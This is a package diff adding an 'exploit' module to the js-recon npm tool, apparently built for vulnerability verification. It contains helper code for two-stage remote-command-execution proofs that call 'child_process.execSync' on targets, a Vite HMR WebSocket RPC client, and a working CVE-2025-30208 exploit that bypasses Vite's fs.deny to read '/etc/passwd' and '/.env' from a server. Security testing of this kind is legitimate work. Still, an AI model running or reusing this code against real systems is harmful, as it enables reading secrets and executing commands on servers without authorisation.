@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1

package/build/exploit/utility/compareResponses.js

@@ -0,0 +1,29 @@
+const isSuccessStatus = (status) => status >= 200 && status < 300;
+/**
+ * Pure baseline-vs-payload response comparator. No I/O — every exploit handler makes both
+ * requests itself (via rawRequest.ts) and passes the raw status/headers/body pairs in here.
+ *
+ * `markers`, when given, are substrings expected to appear only in a successful payload response
+ * (e.g. a leaked marker string, file-content signature). `becameSuccessful` requires the status to
+ * have moved from a blocked/redirect/error shape to 2xx AND (when markers are given) at least one
+ * marker to be newly present — status change alone is not proof for exploits whose payload
+ * response can also legitimately redirect/error for unrelated reasons.
+ */
+export const diffResponses = (baseline, payload, markers) => {
+    const statusChanged = baseline.status !== payload.status;
+    const newlyContains = (markers !== null && markers !== void 0 ? markers : []).filter((marker) => payload.body.includes(marker) && !baseline.body.includes(marker));
+    const bodyLengthDelta = payload.body.length - baseline.body.length;
+    const baselineWasBlocked = !isSuccessStatus(baseline.status);
+    const payloadIsSuccessful = isSuccessStatus(payload.status);
+    const becameSuccessful = baselineWasBlocked &&
+        payloadIsSuccessful &&
+        (markers === undefined || markers.length === 0 || newlyContains.length > 0);
+    return {
+        statusChanged,
+        newlyContains: Object.freeze(newlyContains),
+        bodyLengthDelta,
+        becameSuccessful,
+    };
+};
+export default diffResponses;
+//# sourceMappingURL=compareResponses.js.map

package/build/exploit/utility/compareResponses.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"compareResponses.js","sourceRoot":"","sources":["../../../src/exploit/utility/compareResponses.ts"],"names":[],"mappings":"AAcA,MAAM,eAAe,GAAG,CAAC,MAAc,EAAW,EAAE,CAAC,MAAM,IAAI,GAAG,IAAI,MAAM,GAAG,GAAG,CAAC;AAEnF;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,CACzB,QAA4B,EAC5B,OAA2B,EAC3B,OAA2B,EACf,EAAE;IACd,MAAM,aAAa,GAAG,QAAQ,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC;IACzD,MAAM,aAAa,GAAG,CAAC,OAAO,aAAP,OAAO,cAAP,OAAO,GAAI,EAAE,CAAC,CAAC,MAAM,CACxC,CAAC,MAAM,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,CAC/E,CAAC;IACF,MAAM,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC;IAEnE,MAAM,kBAAkB,GAAG,CAAC,eAAe,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7D,MAAM,mBAAmB,GAAG,eAAe,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;IAC5D,MAAM,gBAAgB,GAClB,kBAAkB;QAClB,mBAAmB;QACnB,CAAC,OAAO,KAAK,SAAS,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC,IAAI,aAAa,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAEhF,OAAO;QACH,aAAa;QACb,aAAa,EAAE,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC;QAC3C,eAAe;QACf,gBAAgB;KACnB,CAAC;AACN,CAAC,CAAC;AAEF,eAAe,aAAa,CAAC"}

package/build/exploit/utility/outputHelper.js

@@ -0,0 +1,22 @@
+import fs from "fs";
+import { printMsg, MSG } from "../../utility/printMsg.js";
+export const toExploitFinding = (cveId, commonName, framework, target, outcome) => {
+    var _a;
+    return ({
+        cveId,
+        commonName,
+        framework,
+        target,
+        timestamp: new Date().toISOString(),
+        vulnerable: outcome.vulnerable,
+        evidence: outcome.evidence,
+        discoveredUrls: outcome.discoveredUrls,
+        execOutput: typeof ((_a = outcome.rawFindingExtras) === null || _a === void 0 ? void 0 : _a.execOutput) === "string" ? outcome.rawFindingExtras.execOutput : undefined,
+    });
+};
+export const generateExploitOutput = (outputFile, findings) => {
+    printMsg(MSG.Header, "[i] Generating exploit output...");
+    fs.writeFileSync(outputFile, JSON.stringify(findings, null, 2));
+    printMsg(MSG.Run, "[✓] Exploit output generated successfully.");
+};
+//# sourceMappingURL=outputHelper.js.map

package/build/exploit/utility/outputHelper.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"outputHelper.js","sourceRoot":"","sources":["../../../src/exploit/utility/outputHelper.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAoB1D,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAC5B,KAAa,EACb,UAAkB,EAClB,SAA2B,EAC3B,MAAc,EACd,OAAuB,EACT,EAAE;;IAAC,OAAA,CAAC;QAClB,KAAK;QACL,UAAU;QACV,SAAS;QACT,MAAM;QACN,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;QACnC,UAAU,EAAE,OAAO,CAAC,UAAU;QAC9B,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,cAAc,EAAE,OAAO,CAAC,cAAc;QACtC,UAAU,EACN,OAAO,CAAA,MAAA,OAAO,CAAC,gBAAgB,0CAAE,UAAU,CAAA,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,gBAAgB,CAAC,UAAU,CAAC,CAAC,CAAC,SAAS;KACjH,CAAC,CAAA;CAAA,CAAC;AAEH,MAAM,CAAC,MAAM,qBAAqB,GAAG,CAAC,UAAkB,EAAE,QAA0B,EAAQ,EAAE;IAC1F,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,kCAAkC,CAAC,CAAC;IACzD,EAAE,CAAC,aAAa,CAAC,UAAU,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IAChE,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,4CAA4C,CAAC,CAAC;AACpE,CAAC,CAAC"}

package/build/exploit/utility/rawRequest.js

@@ -0,0 +1,54 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { withActiveProxyDispatcher } from "../../utility/makeReq.js";
+import { progressError } from "../../utility/progressLog.js";
+/**
+ * Raw fetch helper for the `exploit` module — a sibling to `../../utility/makeReq.ts`, not a
+ * modification of it. `makeRequest` silently discards non-2xx and WAF/CDN-shaped responses and
+ * caches to disk; exploit probes need the raw non-2xx baseline (redirects, 403s), exact bytes with
+ * no caching, and manual redirect handling so a 307 from a bypassed middleware check is observable
+ * as a status code rather than being silently followed.
+ *
+ * Returns null only on network-level failure (DNS, connection refused, timeout) — never throws for
+ * non-2xx responses.
+ */
+export const rawRequest = (url, opts) => __awaiter(void 0, void 0, void 0, function* () {
+    try {
+        return yield withActiveProxyDispatcher((dispatcherOpts) => __awaiter(void 0, void 0, void 0, function* () {
+            var _a;
+            const timeoutController = new AbortController();
+            const timeoutId = setTimeout(() => timeoutController.abort(), opts.timeout);
+            const signals = opts.signal ? [opts.signal, timeoutController.signal] : [timeoutController.signal];
+            try {
+                const response = yield fetch(url, Object.assign(Object.assign({}, dispatcherOpts), { method: (_a = opts.method) !== null && _a !== void 0 ? _a : "GET", headers: opts.headers, body: opts.body, redirect: "manual", signal: AbortSignal.any(signals) }));
+                const bodyBuffer = Buffer.from(yield response.arrayBuffer());
+                const headers = {};
+                response.headers.forEach((value, name) => {
+                    headers[name.toLowerCase()] = value;
+                });
+                return {
+                    status: response.status,
+                    headers,
+                    body: bodyBuffer.toString("utf8"),
+                    bodyBuffer,
+                };
+            }
+            finally {
+                clearTimeout(timeoutId);
+            }
+        }));
+    }
+    catch (err) {
+        progressError(`[!] Raw exploit request failed for ${url}: ${err}`);
+        return null;
+    }
+});
+export default rawRequest;
+//# sourceMappingURL=rawRequest.js.map

package/build/exploit/utility/rawRequest.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"rawRequest.js","sourceRoot":"","sources":["../../../src/exploit/utility/rawRequest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,yBAAyB,EAAgC,MAAM,0BAA0B,CAAC;AACnG,OAAO,EAAE,aAAa,EAAE,MAAM,8BAA8B,CAAC;AAiB7D;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,UAAU,GAAG,CAAO,GAAW,EAAE,IAAuB,EAA+B,EAAE;IAClG,IAAI,CAAC;QACD,OAAO,MAAM,yBAAyB,CAAC,CAAO,cAAuC,EAAE,EAAE;;YACrF,MAAM,iBAAiB,GAAG,IAAI,eAAe,EAAE,CAAC;YAChD,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,EAAE,CAAC,iBAAiB,CAAC,KAAK,EAAE,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;YAC5E,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,iBAAiB,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC,iBAAiB,CAAC,MAAM,CAAC,CAAC;YAEnG,IAAI,CAAC;gBACD,MAAM,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE,gCAC3B,cAAc,KACjB,MAAM,EAAE,MAAA,IAAI,CAAC,MAAM,mCAAI,KAAK,EAC5B,OAAO,EAAE,IAAI,CAAC,OAAO,EACrB,IAAI,EAAE,IAAI,CAAC,IAAI,EACf,QAAQ,EAAE,QAAQ,EAClB,MAAM,EAAE,WAAW,CAAC,GAAG,CAAC,OAAO,CAAC,GACpB,CAAC,CAAC;gBAElB,MAAM,UAAU,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,QAAQ,CAAC,WAAW,EAAE,CAAC,CAAC;gBAC7D,MAAM,OAAO,GAA2B,EAAE,CAAC;gBAC3C,QAAQ,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC,KAAK,EAAE,IAAI,EAAE,EAAE;oBACrC,OAAO,CAAC,IAAI,CAAC,WAAW,EAAE,CAAC,GAAG,KAAK,CAAC;gBACxC,CAAC,CAAC,CAAC;gBAEH,OAAO;oBACH,MAAM,EAAE,QAAQ,CAAC,MAAM;oBACvB,OAAO;oBACP,IAAI,EAAE,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;oBACjC,UAAU;iBACb,CAAC;YACN,CAAC;oBAAS,CAAC;gBACP,YAAY,CAAC,SAAS,CAAC,CAAC;YAC5B,CAAC;QACL,CAAC,CAAA,CAAC,CAAC;IACP,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,aAAa,CAAC,sCAAsC,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QACnE,OAAO,IAAI,CAAC;IAChB,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,UAAU,CAAC"}

package/build/exploit/utility/sandboxRce.js

@@ -0,0 +1,49 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
+/**
+ * Escapes a string for safe interpolation inside a single-quoted JS string literal embedded in a
+ * generated payload (e.g. `'<cmd>'` inside `cp.execSync('<cmd>')`). Backslashes MUST be escaped
+ * first — escaping the quote before the backslash would double-escape any backslash a prior quote
+ * substitution just inserted, and a command containing a literal backslash without this ordering
+ * could otherwise break out of the string literal.
+ */
+export const escapeSingleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
+/** Same as `escapeSingleQuotedLiteral`, for a double-quoted JS string literal. */
+export const escapeDoubleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
+/**
+ * Shared two-stage RCE-proof choreography for CVE-2026-71320 (Nuxt Server Island) and
+ * CVE-2025-55182 (React Flight RCE). Both use the same pattern: a stage-1 request triggers
+ * `import('node:child_process').then(cp => cp.execSync(cmd))` server-side and stashes the result
+ * (e.g. on `globalThis.__pocOut`), and stage 2 is an identically-shaped request that reads it back.
+ * Stage 1's dynamic `import()` resolves asynchronously — its promise may not have settled by the
+ * time stage 1's HTTP response is sent, so stage 2 is retried with a short delay until it returns
+ * a non-null result or the retry budget is exhausted.
+ *
+ * Only the two-stage request/retry orchestration is shared; payload construction (template
+ * injection string, gadget chain, hash computation) stays CVE-specific in each handler.
+ */
+export const runSandboxRceProof = (handlers_1, cmd_1, ...args_1) => __awaiter(void 0, [handlers_1, cmd_1, ...args_1], void 0, function* (handlers, cmd, options = {}) {
+    var _a, _b;
+    const retries = (_a = options.retries) !== null && _a !== void 0 ? _a : 3;
+    const delayMs = (_b = options.delayMs) !== null && _b !== void 0 ? _b : 1500;
+    yield handlers.sendStage1(cmd);
+    for (let attempt = 0; attempt < retries; attempt++) {
+        if (attempt > 0)
+            yield sleep(delayMs);
+        const output = yield handlers.sendStage2();
+        if (output !== null && output.length > 0) {
+            return { output, succeeded: true };
+        }
+    }
+    return { output: null, succeeded: false };
+});
+export default runSandboxRceProof;
+//# sourceMappingURL=sandboxRce.js.map

package/build/exploit/utility/sandboxRce.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"sandboxRce.js","sourceRoot":"","sources":["../../../src/exploit/utility/sandboxRce.ts"],"names":[],"mappings":";;;;;;;;;AAiBA,MAAM,KAAK,GAAG,CAAC,EAAU,EAAiB,EAAE,CAAC,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC,CAAC;AAE/F;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH,kFAAkF;AAClF,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,+BAIL,EAAE,sEAH3B,QAA4B,EAC5B,GAAW,EACX,UAA6B,EAAE;;IAE/B,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,IAAI,CAAC;IAExC,MAAM,QAAQ,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;IAE/B,KAAK,IAAI,OAAO,GAAG,CAAC,EAAE,OAAO,GAAG,OAAO,EAAE,OAAO,EAAE,EAAE,CAAC;QACjD,IAAI,OAAO,GAAG,CAAC;YAAE,MAAM,KAAK,CAAC,OAAO,CAAC,CAAC;QACtC,MAAM,MAAM,GAAG,MAAM,QAAQ,CAAC,UAAU,EAAE,CAAC;QAC3C,IAAI,MAAM,KAAK,IAAI,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACvC,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC;QACvC,CAAC;IACL,CAAC;IAED,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC;AAC9C,CAAC,CAAA,CAAC;AAEF,eAAe,kBAAkB,CAAC"}

package/build/exploit/utility/toEngineOutput.js

@@ -0,0 +1,28 @@
+const RULE_TECH_MAP = {
+    next: "next",
+    vite: "all",
+    nuxt: "all",
+    angular: "angular",
+    react: "react",
+};
+/**
+ * Maps an exploit outcome to the `analyze`/`report` EngineOutput shape so `report --exploit-json`
+ * can feed exploit findings into the existing SQLite/HTML pipeline with zero report-side schema
+ * changes. `Rule.severity` has no "critical" tier — RCE-class CVEs map to "high", the type's
+ * ceiling, rather than inventing a new severity value.
+ */
+export const toEngineOutput = (cve, target, outcome) => ({
+    ruleId: cve.id,
+    ruleName: cve.commonName,
+    ruleType: "exploit",
+    ruleDescription: cve.description,
+    ruleAuthor: "js-recon",
+    ruleTech: [RULE_TECH_MAP[cve.framework]],
+    severity: "high",
+    message: `${outcome.evidence}${outcome.discoveredUrls.length > 0
+        ? ` | Discovered: ${outcome.discoveredUrls.slice(0, 5).join(", ")}${outcome.discoveredUrls.length > 5 ? ", ..." : ""}`
+        : ""}`,
+    findingLocation: target,
+});
+export default toEngineOutput;
+//# sourceMappingURL=toEngineOutput.js.map

package/build/exploit/utility/toEngineOutput.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"toEngineOutput.js","sourceRoot":"","sources":["../../../src/exploit/utility/toEngineOutput.ts"],"names":[],"mappings":"AAIA,MAAM,aAAa,GAAuE;IACtF,IAAI,EAAE,MAAM;IACZ,IAAI,EAAE,KAAK;IACX,IAAI,EAAE,KAAK;IACX,OAAO,EAAE,SAAS;IAClB,KAAK,EAAE,OAAO;CACjB,CAAC;AAEF;;;;;GAKG;AACH,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAgB,EAAE,MAAc,EAAE,OAAuB,EAAgB,EAAE,CAAC,CAAC;IACxG,MAAM,EAAE,GAAG,CAAC,EAAE;IACd,QAAQ,EAAE,GAAG,CAAC,UAAU;IACxB,QAAQ,EAAE,SAAS;IACnB,eAAe,EAAE,GAAG,CAAC,WAAW;IAChC,UAAU,EAAE,UAAU;IACtB,QAAQ,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;IACxC,QAAQ,EAAE,MAAM;IAChB,OAAO,EAAE,GAAG,OAAO,CAAC,QAAQ,GACxB,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC;QAC7B,CAAC,CAAC,kBAAkB,OAAO,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE;QACtH,CAAC,CAAC,EACV,EAAE;IACF,eAAe,EAAE,MAAM;CAC1B,CAAC,CAAC;AAEH,eAAe,cAAc,CAAC"}

package/build/exploit/utility/wsClient.js

@@ -0,0 +1,78 @@
+import WebSocket from "ws";
+import * as globals from "../../utility/globals.js";
+/**
+ * Pure frame-matcher: given the id we sent and a raw WS frame payload (already JSON-parsed),
+ * decides whether this frame is the response to our request and extracts its result. Kept
+ * separate from the socket I/O in `sendRpcAndAwait` so it's unit-testable without a real socket.
+ */
+export const matchRpcResponse = (sentId, frame) => {
+    if (typeof frame !== "object" || frame === null)
+        return { matched: false };
+    const anyFrame = frame;
+    const data = anyFrame.data;
+    if (!data || data.id !== sentId)
+        return { matched: false };
+    if (anyFrame.type === "error" || data.error)
+        return { matched: true, result: undefined };
+    return { matched: true, result: "result" in data ? data.result : data };
+};
+/**
+ * Connects to a Vite dev server's HMR WebSocket endpoint using the `vite-hmr` subprotocol.
+ *
+ * Note: does not currently route through js-recon's configured outbound proxy (`ws` needs a
+ * classic Node http(s).Agent, not undici's Dispatcher used elsewhere in this codebase) — this is a
+ * known, documented gap for proxied exploit runs against CVE-2026-39363, not a silent failure.
+ */
+export const connectViteHmr = (baseUrl, timeout) => {
+    const wsUrl = baseUrl.replace(/^http/, "ws").replace(/\/$/, "");
+    const insecure = globals.getInsecure();
+    return new Promise((resolve, reject) => {
+        const ws = new WebSocket(wsUrl, "vite-hmr", {
+            rejectUnauthorized: !insecure,
+            handshakeTimeout: timeout,
+        });
+        const timer = setTimeout(() => {
+            ws.terminate();
+            reject(new Error("WebSocket connect timeout"));
+        }, timeout);
+        ws.once("open", () => {
+            clearTimeout(timer);
+            resolve(ws);
+        });
+        ws.once("error", (err) => {
+            clearTimeout(timer);
+            reject(err);
+        });
+    });
+};
+/** Sends a `vite:invoke` RPC frame and resolves with its matching response, or rejects on timeout. */
+export const sendRpcAndAwait = (ws, message, timeoutMs) => {
+    return new Promise((resolve, reject) => {
+        const onMessage = (raw) => {
+            let parsed;
+            try {
+                parsed = JSON.parse(raw.toString());
+            }
+            catch (_a) {
+                return;
+            }
+            const { matched, result } = matchRpcResponse(message.data.id, parsed);
+            if (matched) {
+                cleanup();
+                resolve(result);
+            }
+        };
+        const timer = setTimeout(() => {
+            cleanup();
+            reject(new Error("RPC response timeout"));
+        }, timeoutMs);
+        const cleanup = () => {
+            clearTimeout(timer);
+            ws.off("message", onMessage);
+        };
+        ws.on("message", onMessage);
+        ws.send(JSON.stringify(message));
+    });
+};
+export default connectViteHmr;
+//# sourceMappingURL=wsClient.js.map

package/build/exploit/utility/wsClient.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"wsClient.js","sourceRoot":"","sources":["../../../src/exploit/utility/wsClient.ts"],"names":[],"mappings":"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"}

package/build/exploit/vite/cve-2025-30208.js

@@ -0,0 +1,44 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import diffResponses from "../utility/compareResponses.js";
+/** Absolute paths to probe. Any one confirming the bypass is sufficient proof. */
+const CANDIDATE_FILES = ["/etc/passwd", "/.env"];
+/** Content markers that only a real file read would produce. */
+const FILE_MARKERS = {
+    "/etc/passwd": "root:",
+    "/.env": "=",
+};
+export const buildFsPath = (absPath) => `/@fs${absPath}?import&raw`;
+/** The exact CVE-2025-30208 bypass: a trailing double '?' defeats the fs.deny query-string regex. */
+export const buildDoubleQuestionMarkPath = (absPath) => `/@fs${absPath}?import&raw??`;
+const cve202530208 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    for (const absPath of CANDIDATE_FILES) {
+        const baselineUrl = new URL(buildFsPath(absPath), ctx.baseUrl).toString();
+        const payloadUrl = new URL(buildDoubleQuestionMarkPath(absPath), ctx.baseUrl).toString();
+        const baseline = yield rawRequest(baselineUrl, { timeout: ctx.timeout, signal: ctx.signal });
+        const payload = yield rawRequest(payloadUrl, { timeout: ctx.timeout, signal: ctx.signal });
+        if (!baseline || !payload)
+            continue;
+        const marker = FILE_MARKERS[absPath];
+        const diff = diffResponses(baseline, payload, [marker]);
+        if (diff.becameSuccessful) {
+            return {
+                vulnerable: true,
+                evidence: `fs.deny bypassed for ${absPath} via trailing double '?' (baseline status ${baseline.status} -> payload status ${payload.status}).`,
+                discoveredUrls: [payloadUrl],
+                rawFindingExtras: { file: absPath },
+            };
+        }
+    }
+    return { vulnerable: false, evidence: "No fs.deny bypass observed for candidate files.", discoveredUrls: [] };
+});
+export default cve202530208;
+//# sourceMappingURL=cve-2025-30208.js.map

package/build/exploit/vite/cve-2025-30208.js.map

@@ -0,0 +1 @@
